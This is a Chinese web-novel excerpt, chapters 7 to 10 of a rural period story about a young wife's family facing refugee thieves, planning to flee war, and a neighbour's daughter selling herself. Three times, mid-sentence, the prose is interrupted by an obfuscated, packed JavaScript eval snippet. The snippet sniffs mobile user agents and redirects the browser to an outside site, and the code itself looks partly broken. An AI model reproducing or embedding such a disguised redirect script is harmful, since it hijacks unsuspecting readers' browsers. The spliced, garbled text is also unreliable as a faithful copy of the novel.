《山野记事(种田)》 7. 第 7 章 捡了大半个月的菌子,婆媳两人却不似第一次的好运气,只捡到一些寻常菌子,再加上捡菌子的人多了起来,菌价也在往下降,婆媳两人能赚的钱也就少了许多。 今日又是一个大晴天,婆媳两人忙碌了一早上,捡了许多菌子。 “嫣娘,走吧。咱们从这山道绕到河边,那儿有箬叶,咱们采些箬叶做粽子。” 再过几日就是端午节,包粽子的物件要提前准备好。 这新鲜的箬叶包出来的粽子最香,其中融入了箬叶的清新味道,给一座金山都不换。 “哎。”岑嫣捡起地上的一个鸡油菌,立马就追上婆母下山的脚步。 来到河边,就看到清澈的河里有各色的水草在纷飞拂动,翠蓝色的鸟儿叼起鱼儿就立马隐入河岸边的草丛中。 岑嫣刚想感慨这里的山水景色真不错,就看到婆母停下脚步,在河边的浅滩上采摘东西。 她忙走上前去查看:“娘,您摘什么呢?” 许慧头也不抬:“摘水蕨菜呢,这河岸边的水蕨菜真水灵,拿回家炒着吃,翠嫩可口。” “水蕨菜?”岑嫣从前只听说过蕨菜,还没听说过水蕨菜呢,好奇地跟着摘了一根水蕨菜,认真地打量了一会儿。 水蕨菜不似山上的蕨菜那般,茎秆都是紫色的,水蕨菜的茎杆是绿色的,长开的水蕨菜打了个卷,倒是像翡翠,看着好看极了。 这时候,许慧也跟着继续道:“这水蕨菜长在水边,所以并没有什么苦味,倒是不同于其他野菜。像山蕨菜还得用清水冲泡,这水蕨菜能直接拿回家去炒着吃。” “这水蕨菜可真多,水边全是呢。” 岑嫣巡视了一遍,发现浅滩上长满了水蕨菜,哪怕她们婆媳的篓子空着,都不够装。 听到媳妇的话,许慧自得地笑道:“这里离咱们村子远了些,所以才能存着这么一大片,咱们村子附近可没这么多水蕨菜,都被人采光了。” “哦。”岑嫣了然,也开始跟着采摘水蕨菜,不多会儿,两人就采够了一大把。 从浅滩往上走两步,就是一片箬叶生长的地方。 走进那片箬叶,就能闻到一股子箬叶传出来的清香,箬叶很好菜,由茎脉底部折,折的时候咔嚓一声,就能直接断了。 将采摘好的箬叶码放整齐,随后用旁边的茅草捆成一小把,就直接放进背篓里。 箬叶叶片肥大,箬叶丛生长的比较茂密,走在其中密不透风,没一会儿,两人就发了一身的汗水。 “咱们这箬叶也采的差不多了,回家吧!” “哎,那娘我收拾一下。”说着,岑嫣把刚采好的箬叶捆上,然后摁入背篓里,又用绳子绑好,才放下心来。 今日采摘的东西有些占地方,用绳子绑在上面才能安全些。 婆媳两人满载而归,就是这东西带的有点多,走到离村子不远的地方,岑嫣有些招架不住,有些头脑发晕。 许慧注意到儿媳妇的模样,有些担心:“嫣娘,要不你拿点东西给我拿?” “不用,婆母,您带的东西也挺多的。” 婆媳两人正说着话呢,岑嫣忽的感觉背后一轻,她抬眼一看,高大的董伯年挡住了灼灼的烈日,形成一块她的荫蔽。 “夫君?” “嗯。” 许慧见状,也不拦着小夫妻说话,识趣地先往家的方向走,顺便把手上提着的篮子拿给董仲清拿。 “娘......” 董仲清还没说出口,就被母亲许慧堵住了嘴,还没等他问为什么,就被拉走了。 许慧此时有些恨铁不成钢,这小儿子莫不是笨蛋,怎么这么没有眼力见?将来要是娶了媳妇,那可怎么得了? 再看岑嫣这边,她有些担心董伯年的身子,他才好呢,就提这些重物,恐怕不合适吧? “那背篓还是拿给我背吧?”她试探道。 “不用,这东西不重,我提得动。”从前他跟着猎户练就一身的本事,所以体格和力气也比一般人要大一些,他还扛过大野猪呢,这点东西对他来说不算什么。 “好,好吧...”岑嫣见拗不过,也就不再争了,横竖她的体力也已经消耗的差不多了。 “夫君不是去集市上买糯米了吗?怎么在这里?” “正好回来早了些,看你们还未归家,就想着过来接你,没想到就在这村口遇上了。” “集市上怎么样?” 董伯年知道媳妇是在问那些难民的情况,也就如实答了:“听说镇上也有好几户人家被偷了,还有的人家当场抓住了难民,可是那些难民有外应,又都是穷凶极恶之辈,直接把主人家给杀了,现在镇上人心惶惶,就连米粮的价格都涨了不少。” 董家耕田不算多,但自家种的稻谷还是足够吃的,就是糯谷产量太低,所以才去镇上买。也亏得是他们今日去买米,才能知道这么多的消息。 “那咱们这,真的要乱了吗?”岑嫣小声问,问完,她还左右看了一下,确定没有人在她们旁边。 “我估计,应该会。” 夫妻两人自从上一次聊过难民的事情开始,就对对方有着天然的信任,也对难民的事情格外关注。 岑嫣打了个冷战,她虽然很不愿意相信,但是这些场景就跟当初她遇到的一样,她父母原先觉得只要好好躲躲,官府管好那些难民,不让难民进城就好了。 没想到,城却破了。 哪一个老老实实的老百姓想背井离乡,有些人哪怕是死,都不想离开生养他们的那一片土地,百姓天然对土地有一种特殊的感情。 “那......”此时的岑嫣却没有把话说完。 只是,她虽没有把话说完,董伯年却知道她想表达的意思,这也是夫妻二人这些时日培养出来的默契。 “我会想办法说服爹娘。” 董伯年说完这句话,眼神也变得坚定很多。 “嗯。”不知为何,岑嫣就是天然地信任丈夫,他说的一定能做到。 只是,她才在这里安稳下来,就又要跟着逃难,也不知何处是归途?她只想安稳地生活。 此时,两人也走到家门口,厨房上方的炊烟袅袅,隔着老远就能闻到一股子烟火的气息。 董承志此时也在和家里几人说难民的事情,许慧听了,忙问:“那咱们家要不要守夜?万一真有人潜入家里来,咱们这可不就被别人一锅端了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555195|155419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “这事,恐怕得跟村长商量。”董承志愁容满面,刚才回村的路上,他确实见到过几个鬼头鬼脑的难民。 “你待会吃完饭就去。” 现在过去,人家村长家恐怕以为他是去蹭饭的。 农户人家都会在中午的时候在家休息,午时的日头太热,容易中暑,正常人家都不会在地里干活。到时候过去,也能好好跟村长说说这事。 “爹,若是这难民变多了,真有啥事,咱们要不要找地方躲躲?”董仲清试探,都说这难民逃难的路上多多少少杀过人,这些人心狠啊,他们寻常人家哪里遭得住? 董承志一听这话,就有些不高兴,手上的旱烟杆拍的门坎邦邦响:“小孩子家家的,胡说什么?哪里就会有这么严重?” 被这么一吓,董仲清也不敢再说,只默默闭了嘴。 董伯年见状,跟着道:“爹,二郎说的未必没有道理,我今日去打听过了,秦王反了,咱们这里恐怕也要跟着乱!” “真有事?”董承志愣了愣,小儿子的话,他可能觉得是危言耸听,但是大儿子的话,却让他不得不信。 无他,大儿子是读书人,自然懂得多。 此时,岑嫣也跟着开口:“爹,当初我家就是这样,起先看到许多逃难的难民,我父母也不信。后来就乱了,也亏得是我运道好,才跑到我舅家。” 提起伤心事,岑嫣的心中就忍不住酸涩,就连说出的话都有些哽咽。 察觉妻子的情绪,董伯年暗暗握住了岑嫣的手,轻轻拍了拍,以示安慰。 在场的几人听了岑嫣这话,神态各异,董承志和许慧对视了一眼,脸色复杂难辨。 等到午饭之后,董承志果然去了村长家,只是村长觉得董承志说的这是太过于杞人忧天,没有答应。 回到家后的董承志长吁短叹,就连夜里都睡不着觉。 得亏他夜里没睡,夜里院子外有动静,他立马就起床查看,刚出房门,就看到院门的门栓掉到地上,大门直接打开。他见状,立马就反应过来,家里这是进了贼。 “有贼,有贼!” 他边喊边抄家伙,又拍了拍隔壁的房门。听到院子外的大动静,董家人立马就被惊醒,直接连衣服都没穿好就跑出了房门。 院子里的贼被这么一吓,原本还想捞走院子里的鸡,也没那心思了,急忙跑了。 可是,董家这叫喊,还是惊动了隔壁的邻居,他们原本还有些不耐烦,这董承志大半夜不睡觉,在院子里嚎啥? “吵吵啥啊?”罗老实的话音刚落下,就看到几个黑影从自家院子里跑出,接着就听到罗婆子的哭喊声。 “我的鸡!天杀的,我的鸡没了!夭寿的贼子!” 说着,罗婆子就抄着一把扫把,往贼人跑的方向追去,边跑边喊:“不要脸的贼,别跑!偷了老娘的鸡,你还想往哪里跑?” 这下子好了,整个村子的人都不必睡了,都被罗婆子的叫喊声给吵醒。 村子里家家户户都开始点起家中的煤油灯,出去查看是什么事。也有那察觉有贼人进家门的人家,直接叫喊出声。 花溪村一时间竟然比白日里还热闹几分。 8. 第 8 章 晋江首发 村长家里灯火辉煌,院里院外都围满了人。 “满田、清平、三庭......”村长张千华没一会儿就点了十多个人名。 “你们几人现在就绕着村子巡视一圈,看看还有没有贼子躲藏,切记,不可独自行事。” “是!” 几人答应之后,就抄着家伙,拿着火把绕着村子巡视去了。 这时的村长才有空查看面前被抓住的几个贼人,他忙审问起几人来,起初几人还一脸不情愿,不想交代事实,在挨了村民的几棍子和几名丢鸡妇人的抓挠之后,才开始交代。 原来这几人是从北边逃难过来的,路过各处村庄,他们都会蹲守几日,偷些吃食就跑。 这次他们也在花溪村蹲了好几日,确定了下手的人家,只是他们的运气不好,正好被村里的村民发现,还被嚷出来了,所以才被村民给抓住。 其中一名穿着破烂的难民也是识时务,立马就想扑跪在地上讨饶。 “诸位好汉,求求你们放过我们吧!我们也只是讨些吃食,没想干什么。” 另一名难民也跟着哀求:“我们真的没干什么,就是想弄些吃食,还请诸位放过我们,我们再也不犯了。” “就是,我们真的不敢了。” “你们放了我们,我们立马就滚得远远的。” 五名汉子也不顾什么形象,此刻能活下来才是正经,吵吵嚷嚷地哀求个不停。 他们虽然如此说,但村里的村民也不敢相信,张大嘴首先跳出来,上前就给其中一个汉子扇了一巴掌。 “你蒙谁呢?我刚才去找了一下我们家的存钱罐,我家十两银子都不见了,你们几个人得赔!要不然别想走。” 她话音刚落,她家四个儿子立马站上前威胁,她生的几个儿子高高壮壮的,平日里可没少在村里横行霸道,看着就十分吓人。 五名汉子苦笑,他们真的冤啊,这个婆子他们认识,她整日里到处串门聊八卦,嗓门又大,家里还有四个虎背熊腰的儿子,他们直接避开这户人家了,压根就不敢有什么想法。 “你们血口喷人,我们压根就没去过你们家!”几名汉子虽然不道德,但也承受不了这般的侮辱,他们真的没干过啊。 张大嘴叉着腰:“你们几个贼子还不承认?大牛,给我上去打,打到他们认了为止!” 此时,五名汉子十分后悔,他们就不该来。如今的他们,真的比窦娥还冤,脸色也跟天色一般黑。 几人推搡间,大牛几兄弟立马就有了新发现。 “银子,果然是银子!” “娘,真有银子啊!” 张大嘴见状,心中一喜,这下娶媳妇的银钱有望了。 只是她还没开心多久,就被村长重重的咳嗽声打断。 “你们几个当我是死的不成?把那银子放下!” “不放,凭什么啊?这可是我给我儿存着娶媳妇的钱!”张大嘴果断拒绝,这可是自己主动扒拉来的银钱,凭什么要放出去? “你当我不知道,这几个贼人根本不会去你家偷东西,犯不着。”显然,村长这次也跟着聪明了一回。 之后,张大嘴虽然不情愿,但在自家丈夫张顺的威胁下,也不得不把银钱交出去。 在旁边看戏的董仲清同父亲小声道:“爹,白日里您不是还过来找村长说组建村卫队的事情吗?白日他不答应,现下不还是要做?要我说,村长还不如您有远见呢。” 说完话,董仲清一脸鄙夷地看向村长所在的位置,只是让他没想到的是,村长也看了他们一眼,董仲清有些心虚,村长不会知道他刚才说啥了吧? 想到这里,董仲清瑟缩了身子,躲到父亲和兄长身后。 村长刚才也只是看了一眼董家父子所在的方向,随后又收回视线,吩咐村民:“先把这几人放到旁边的柴房里,明日送官府。你们各家都统计一下损失,明日再来报给我,到时候赔偿就从今日收缴的银钱里扣。” “是!” “散了吧,你们先回家休息吧。” 在场的人闻言,立马散场回了家,只是发生了今夜的事情,有几人还能睡的安稳? 村长就是其中一人,他白日里听董承志说起这事,当时他没当回事,又加上他忌惮董承志,自然不能别人说什么他就信什么。 只是到了如今,他还真就得按照董承志说的来做。说实话,他心里有些憋屈。 要说这村长忌惮董承志也不是一日两日了,自从董承志家大郎考中秀才,他在村里的威望隐隐有超过自己的架势。若是董大郎再考上举人进士,那自己的村长之位恐怕也得拱手让人。 就算他不答应也不行,村里人为了让董大郎能更加用心为村里贡献,可不得把董承志扶上去? 若是董承志无能些,那还好说,可这董承志对村里的事务指手画脚,这不是跟他争位置立威望,那能是想干啥? 就这般想着,窗户外渐渐有蓝色的微光透进屋子里,外面的公鸡开始打鸣。 村长叹了口气,爬起床,他着实睡不着。 董家这边。 董伯年也睡不着,他感觉昨日的事是一个机会,若是真能借昨日的事情让自家离开花溪村,或许真的行得通。 想到这里,董伯年忍不住拍了拍岑嫣的肩膀,两人如今睡在一张床上,早已经习惯对方的存在。因着昨夜的惊吓,岑嫣自然也是睡不好的,察觉夫君在叫自己,她幽幽地转身。 “夫君?” “嫣娘,我想到了一个办法!” 说着,董伯年就把自己的想法告诉岑嫣,岑嫣愣了一会儿,才问道:“夫君打算如何做呢?” “村长跟咱们爹不对付!”董伯年说完,又把事情解释了,岑嫣这才明白其中的缘故。 岑嫣聪慧,一点就通,立马就明白丈夫的意思:“那你是想?让村长更加忌惮咱家?” “嗯!到时候咱们家若是办路引也能快些!”村长到时候可是恨不得赶他们家走,最好是走的越远越好。 “这战乱也不知道啥时候就来,这还要路引?”岑嫣有些不解,当初她父母就是顾虑太多,怕家里财产不好带,怕这怕那的,所以才没来得及跑。 董伯年沉吟:“那咱们只能往深山老林走了,那路不好走,到时候走的也慢。” 空气中静默了一会儿,他又继续道:“我先去城里镇上打听打听消息,若是真有啥,咱们就直接跑了。” 忽的,岑嫣笑了起来:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555196|155419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫君,你莫不是读书读多了,把脑子读傻了?” “嗯?”董伯年有些不解。 “如今逃难的人愈发多了,法不责众,就算咱们没有路引也没事。”说着,岑嫣停顿了一会儿,又开口道:“就算有事,恐怕深山老林才是最安全的地方。” 听到妻子的话,董伯年想了这件事的可行性,竟觉得大有可为。 一般那些叛军都是盯着城镇村庄,可没太多功夫往山林里去。一来深山老林不好走,耗费兵力不值得,他们的时间很宝贵,有那功夫,还不如多找几个村庄抢掠呢。二来,深山老林里容易迷路,还有猛兽,到时候万一因着这事损伤兵力,那后果可就大了。 想明白这些关窍,董伯年也就不纠结这些小事了,又和媳妇商量起村长的事情来。夫妻两人如此这般的商量好未来行事之后,相视一笑。 等到天光大量时分,村长找人送那五名贼子去镇衙署,董伯年作为村里唯一的秀才,也跟着去。 与此同时,岑嫣就跟着婆母四处去串门。 当然,这事是董伯年交代过的,他当时的原话就是:“娘,嫣娘嫁过来已经有一个多月了,对村里的事情还是不太熟悉,您要不让带她去四处串门?” 许慧满口答应。 因着昨夜的事,许慧可真是憋闷坏了,她正好也想找村里的妇人聊聊天。 就这样,村里的妇人们见识了董家新娶的媳妇是如何健谈,说话也极有条理的,只是岑嫣说的内容,倒是让她们吓到了。 村里的大榕树下,林阿巧有些好奇:“嫣娘,战乱真有那么可怕吗?” “可不是嘛,我当时就是逃难过来的,我父母也是在战乱中丧生的。当时,我躲在角落的杂物里,看到一个兵士把别人的脑袋削掉一半,血淋淋的,那人眼珠子还掉在地上蹦了几下,可吓人了!” “那战乱是如何起的,也跟咱们遇到这些难民一样吗?”另一个妇人也十分好奇。 “是啊,起初我们就是见到许多路过的难民,当时我家里人还不当一回事,可不就...唉。如今我再见这些难民,忍不住想起当初的事情来。” 说着,岑嫣就用手帕拭泪,她也的确是想到伤心的往事,眼泪跟不要钱似的落下,眼睛都哭肿了。 旁边的妇人心里都有些不落忍,忙安慰起岑嫣来,但她们心中却冒出了一个共同的疑问:“莫不是她们这里也要乱了?” 有那心急的妇人,着急忙慌地赶回家,想着问问家里的当家人,若是这事情真的那么严重,她们是不是也要跟着逃难? 见到围着的村民三三两两的走了,岑嫣心中暗喜,她的目的达到了。 当然,也有些男人不以为意,觉得这些都不是什么大事,董家新媳妇年纪小,见的事不多,自然容易吓着,她的话自然也就成了危险耸听。 许慧今日整日都觉得儿媳妇有些奇怪,往日里容易害羞的小媳妇,如今怎的如此健谈? 她想了许久,都没有想明白。 不过儿媳妇健谈是好事,最好能凶悍些,在村里才能更好立足,要不然那起子见人下菜碟的人,定然闻着味上门欺负。 只是,让许慧不知道的是,岑嫣今日说的话,不出一日就闹的村里人心惶惶。 9. 第 9 章 “承志啊,你咋连家里的儿媳妇都管教不好?看看这村里都传成什么样了?”村长有些生气,用手啪啪地拍着桌子。 如今村里人心浮动,种地都没那心思了,下田也变得懒散许多。还有那忧心之人,直接找上门来问他这战乱的事,他虽说是村长,知道的消息比寻常人多一些,但也不是事事都知晓。 要他说,这打仗的事情就不会发生,之前的动乱,不也只是在北边打起来,压根就殃及不到他们这里。 “张村长,这事也不能怨我儿媳妇,这都是前日那些难民弄的,怎么能怪我儿媳妇?”要是往日董承志被教训,他许是会顺着村长的话往下说,但这两日的事情,可都是以前没遇到过的。 再说了,家里大郎也说这战乱可能要蔓延到他们这,读书人说的,还是有几分可信。 能做到村长这个位置,已经很少能有人顶撞他,如今他被董承志驳了,心里自然不高兴。 他用手指着董承志,久久发不出声音,脸色已经憋成猪肝色,好像下一秒就立马倒地似的。 董承志还是有几分眼力见的,识趣地上前给村长递了茶水。 “村长,您消消气。” 有了台阶,村长自然也不拿乔,接过茶水,随后瞪了董承志一眼,他刚才真觉得自己快气的厥过去了,可不能再生气。 只是这董承志现在已经开始跟他对着干了,以后还是要多打压才好。 董家 明日就是端午,今日便开始包粽子,米是昨夜就泡上的,前几日采摘且清洗处理过的箬叶。 岑嫣从前没有包过粽子,哪怕是在舅父家,也只是买粽子,有时舅母心情好,她也能跟着分到一个粽子。 “嫣娘,你就这样折成一个角,握紧了,然后把米放进去,再拿一片叶子这样一折,就这样这样折,一个粽子就能包好了。” 说着,许慧给她做示范,用余下的箬叶边角挨个包起来,随后一个锥形的粽子就成型了。 岑嫣试探性地包,又反复观察许慧包粽子的方式,没一会儿就完成一个粽子,虽然这个粽子比寻常粽子胖了些,但还是可圈可点的。 “包的真好。”许慧忍不住夸,要知道,当初她开始学包粽子的时候,可是学了一天呢,没想到儿媳妇才一会儿就学会了。 “都是娘教的好。”岑嫣之后认真地包粽子,越包越顺手,后面包的粽子,竟比许慧包的还好。 “我的乖乖,你这手真巧,包的粽子精致秀气,若是拿去卖,恐怕别人都争着抢着买!” 本来岑嫣还没往卖东西的方向想,被许慧这一提醒,倒是眼前一亮。 “娘,咱们要不要做些粽子去卖?” “做去卖?”以前她包的粽子,只算得上一般,拿去卖也没多少卖相,如今这媳妇包的好,倒是可以一试。 只是,家里的糯米恐怕不够,米要提前泡一夜,粽子也要提前一个晚上煮,煮上几个时辰的才能叫粽子。 “娘,要不让夫君去买些糯米回来?” 许慧嗔怪道:“你这孩子,有这主意却不早说。” 岑嫣倒不是不想早说,她最初也不知道自己能包好粽子。再加上这两日的事情繁杂,她一时间也没有想到这些。 “娘,我这不是一时之间没想到嘛。”岑嫣有些心虚。 “不过咱们家粽子包的多,倒是可以拿一些去集市上试一试。”董家往年的粽子也包的不少,可以吃好几日。今年增加岑嫣一人,泡的米也多了一些。 “嗯,就让大郎和二郎去买些糯米回来,咱们今日泡上,明日包了再煮给咱们家吃就行。今日包的粽子,明日一早就拿到集市上去卖了试试。” “哎。”岑嫣喜笑颜开。 现在的岑嫣,对着赚钱有着天然的热情和渴望。一方面是为今后逃离花溪村打下物质基础,另一方面则是因为赚钱真的会变得快乐,婆家人都好,赚了钱也会用来改善家里的生活。 她嫁来一个多月,每日都能吃饱,有时候还能吃上肉,这日子已经算是很难得的好日子了。 就连婆婆许慧,小姑子董繁枝都常常说她与从前不一样了,脸色变好看,肤色也变白了,就连体态都比从前丰盈许多。 她也能隐约察觉到自己的变化,胸口似乎比往前鼓涨许多,时常酸痛,难受极了。 就在这时,董繁枝从外面跑进屋,气喘吁吁地道:“隔壁罗三丫要把自己卖了,如今对面正在吵呢。” “啊?”许慧和岑嫣都是一脸震惊。 本朝买卖奴婢之风并不算多严重,寻常人家只要日子过得去,都不会卖儿卖女。 三人快步走出院门,刚走到门口,就看到罗二丫和罗家人说着什么,她背后有一个岁数大些的婆子和一个年轻男人,看样子应该是人牙子。 “爹,娘,你们不用忧心女儿,等卖了我,咱们家的日子也能好过些,奶也不用整日骂人。”罗二丫眼底很是坚毅。 就在这时,旁边也围了一些看热闹的村民,他们也在旁边指指点点,都说罗婆子做事情不地道,就连孙女都要卖了换钱。 此时的罗婆子险些气厥了,分明是二丫这个死丫头要自己卖自己,哪里成了她的不是了。 她赶忙解释:“这事可不能赖我,是二丫自己想要去大户人家当丫鬟过好日子,我可没说要卖孙女!” 只是她平日里那个尖酸刻薄的模样深入人心,还真没有几个人信她。 就在这时,陈大花流着泪,扑上前抱住闺女:“二丫,别走,娘的二丫!” “二丫,你真的要丢下我们吗?”罗大丫满脸的不可置信。 “我留下来做什么呢?爹又挣钱养不了家,奶还时常打骂,我走了,你们拿了银钱,日子还能过得好些。” 这下,旁边的村人也都听明白了,这罗二丫原来是自卖自身。只是,这小姑娘才八岁,她能懂什么呢,一定是家里人逼得太狠了,日子都过不下去,才被迫卖掉自己为家里挣活路。 旁边的罗老实已经站了许久,他也不说话,似乎这里发生的事情与他毫不相干。 陈大花自然也察觉了,又扑上去拉扯丈夫:“你是她爹啊,闺女都要卖自己了,你不管吗?” “管?怎么管?都签字画押了。”罗老实嗫嚅道,随后他又补了一句:“再说了,闺女是去大户人家当丫鬟,那是去过好日子的,咱们拦着干啥?” 刚才人牙子拿出来的那十两银子,可是银光闪闪的,他可从没见过品质这么好的银钱。寻常老百姓能见到的银钱,里面的杂质多,银子的光泽也就没那么好。 若是他能拿到那十两银子,再让人在其中掺杂其他的东西,那可就不知十两银子了。 想到这些,他都忍不住想要放声大笑。 旁边的人牙子可不知道面前这几人的心理活动,她抬了抬下巴,对着在场的人道:“这小姑娘可是跟我签字画押好的,哪里还有反悔的道理?你们要是敢拦着,我是可以报官的。” 说着,牙婆拿出手中画押的单据展示给众人看:“看看,这可是她按字画押的卖身契。” “天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555197|155419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪!” 陈大花忍不住嚎叫了出来,随后想扑过去抢。 那牙婆也是见惯了这场面的人,身手敏捷地侧过身子,陈大花扑了个空,摔在地上。 罗大丫担心地上前扶起母亲,此时的陈大花也顾不得什么形象了,想要求助旁边的众人。她疯了一般往人群中扑,想要拉人帮忙,又扑了空。 “帮帮我吧,二丫还是个孩子,她要是被卖了,以后生死不由身,那可怎么办啊?” 旁观的村人也只是看热闹,这等跟官司扯上关系的事情,他们可不敢沾,再说了,罗家可是得了十两银子,他们为什么要帮?谁会做没好处的事。 就算帮了,就凭罗家儿媳妇坐月子吃南瓜都挨骂的事,罗家能给出什么好东西不成。 就在这时,眼尖的陈大花注意到不远处的岑嫣,她想着岑嫣是秀才娘子,又是个新媳妇,一定不好拒绝自己。 岑嫣见到罗家媳妇向自己冲过来,脑中一片空白,她还在思考之前家中买卖奴婢的事情呢,冷不防被人拉住手臂,还被强行拖拽,有些欲哭无泪。 心道:我只是看戏,没想干啥。再说了,我也没那么大的能力啊! 可是,作为母亲的陈大花却管不了那么多,她乞求地看向岑嫣:“秀才娘子,求求你,帮帮我,帮我留下我的闺女。” 岑嫣到底心善,问道:“若是那卖身契还未到官府存档,只要把银钱退给你们,官府也管不得这事吧?” 只要卖身契没了,一切就还好说。 陈大花这一生过得并不聪明,只是到了现在,她也难得开窍了一回。 “只要能拿回卖身契,我闺女就没事!” 原本还气定神闲的人牙子也被岑嫣这话吓了一跳,没想到这小媳妇竟然懂的还挺多。 “怎么,你们还想动手不成?”人牙子有些慌,最近难民有些多,他们的人都去办事去了,人手不足。他们今日也是看到这个罗二丫主动上来找他们卖身,这才顺手收了。 没想到,竟然扯出这么多事,真是有些晦气,他们心中也生出几分退意。 只是面上的气势不能输:“要我们放人也可以,只是我们买她是十两银子。你们要来赎她,那可就要十一两银子,要不然,我可不答应。” 旁边的年轻男子也跟着道:“少一个子都不行,干我们这行,可是时常和官府打交道,你们要是敢玩什么小心思,哼哼!” 说着,他还用手刮了一下下巴,痞里痞气的。 罗婆子一听说自家不仅不赚钱,还要往里面赔钱,还是一两银子,立马嚎起来。 “还要老娘的银子,没门!”她又伸手指向陈大花:“你生的赔钱货,卖了就卖了,还要赎回来,想都别想!” “就是啊,花儿啊,咱们家不宽裕,这二丫既然想去过好日子,咱们也不能拦着啊。”银子,银子可不能跑了。 罗婆子说什么,其实陈大花并不在意,只是罗老实许久都不曾叫过她名字,如今叫她名字,却是这时候,她也有些寒心。 “没想到,我当初看上的男人竟然是这样的,呵呵,呵呵。”陈大花冷笑。 只是她现在也没时间管那么多,她要把她闺女救回来。可她是跟罗老实私奔的,根本就没有嫁妆,这些年她哪怕挣钱补贴家用,也会被罗婆子搜刮走。 原来自己竟过得如此可笑,浑浑噩噩了许多年,她此刻竟是最清醒的。 可笑至极。 “秀才娘子,你,你可不可以借我......”她眼中有乞求,有期盼。 10. 第 10 章 看到罗家媳妇的模样,岑嫣心中有些不落忍,只是她也没这么多银钱。 “我...我也没那么多银钱。” 陈大花一听这话,起初是不信的:“秀才娘子,我真的会还你钱,要不我写个欠条。我,我一定还!” 说着她就要开始发誓。 岑嫣有些尴尬,她这些日子虽然跟着,婆母许慧赚了一些银钱,但大都交给婆母拿着,自己压根就没留下多少。 毕竟之前董伯年看病吃药,可都是欠着一些银钱的。 “我真的没有,不过我倒是有两百文,可以全部都给你。” 这时,许慧也反应过来,走上前道:“可以借你,但是你必须得写个借条。我媳妇好说话,我可不好说话!” “谢谢!” 陈大花说着,就立马屈膝想要给岑嫣和许慧跪下,却被眼疾手快的岑嫣拦了,她可受不住这个礼。 旁边看着的村人起先听到岑嫣的那番话,也知道这事情可大可小,既然人牙子都愿意只要一两银钱,他们倒是愿意凑钱。 故此,三三两两的村人凑到一起说话,想着给陈大花凑钱。 有人带头,其他不想凑钱的人也不得不跟着凑,毕竟他们也不想被人说凉薄。 只是,这边才要处理好银钱的事情,罗二丫却不答应了。 “娘,不必赎我!我就是要自卖自身,你把我赎回去干嘛?回去继续跟着你窝窝囊囊的受罪吗?让我日后也同你一般?” 这话虽然有些扎心,但也是事实,罗二丫跟着在母亲身边,以后嫁人也没嫁妆,嫁也嫁不到好人家。以后嫁到别人家,还不是跟陈大花过类似的日子? 父母都对她不好,让她如何指望一个素未谋面的人对她好? 农村的女人,有谁不是生孩子的?生完孩子之后,就会收获冷漠的丈夫,指桑骂槐的婆母。 有人会说,挨骂两句又没啥,做人媳妇就是这样。 农村女人一生都在挨骂,而不挨骂的男人们呢,则会轻描淡写地对着女人们说:娘说你两句,你就听着,能少块肉? 板子打不到自己身上,是不会觉得疼的;难听的话骂的不是自己,是没什么大不了的,毕竟那都是别人受着,别人熬着。 罗二丫想的很明白,她不想受着这些,哪怕是迅速消亡,她也要尝试。 “娘我想去试试,再如何,也好过在这里温水煮青蛙,丧失思想的反抗能力,沦为一具行尸走肉。” 说着,罗二丫把手中的十两银子拿给母亲,这是画押之后她就藏好的,生怕一个不察,就被奶奶和爹爹抢走。 “娘。”叫出这一声,罗二丫忍不住哽咽了,眼角落下一滴泪来。 “我还是希望您能离开这个家,您嫁进罗家以来,家里的活计都是您在干。家里的活计是您,下地干活的还是您。这与您自己养自己有何区别,还不如自立门户,省的您挣了钱,还被奶给抢走要好。” 她此时已经哭的上气不接下气,脸也憋红了:“女儿言尽于此!” 说完话,她就乖巧地同人牙子离开。 旁观的村人都互相对视,心中五味杂陈。 罗二丫说的话虽然大逆不道,但那话却很在理,女人总要为自己争取。 自己都无法保护自己,你凭什么指望别人来帮你?别人来帮你之前,人家也先是自己,人家不需要先保护自己吗? 看着女儿离开的背影,她感觉自己的脚跟灌了铅一般沉重,再也抬不起步子去拦。 她忍不住开始放声大哭,旁边看着的人都有些不落忍,有那看不过眼家中有孩子的媳妇,也跟着用帕子擦眼泪。 场面一度十分低落,岑嫣和婆母走上前扶起她道:“罗家嫂子(媳妇),你还是要保重自己才好,你才出月子多久?得重视自己重视自己。” “二丫!”陈大花忍不住叫出声。 凑的最近的岑嫣感觉自己的耳膜快碎了,她以后还是少看热闹为妙。 就在这时,罗老实走上前:“花儿,咱们回屋吧,在这外面挺凉的。” 说着,罗老实上前搀扶媳妇,用迅雷不及掩耳的速度直接把岑嫣推开,岑嫣一时不查,身子摇摇欲坠地往后倒,她已经可以预见摔倒在地能有多疼。 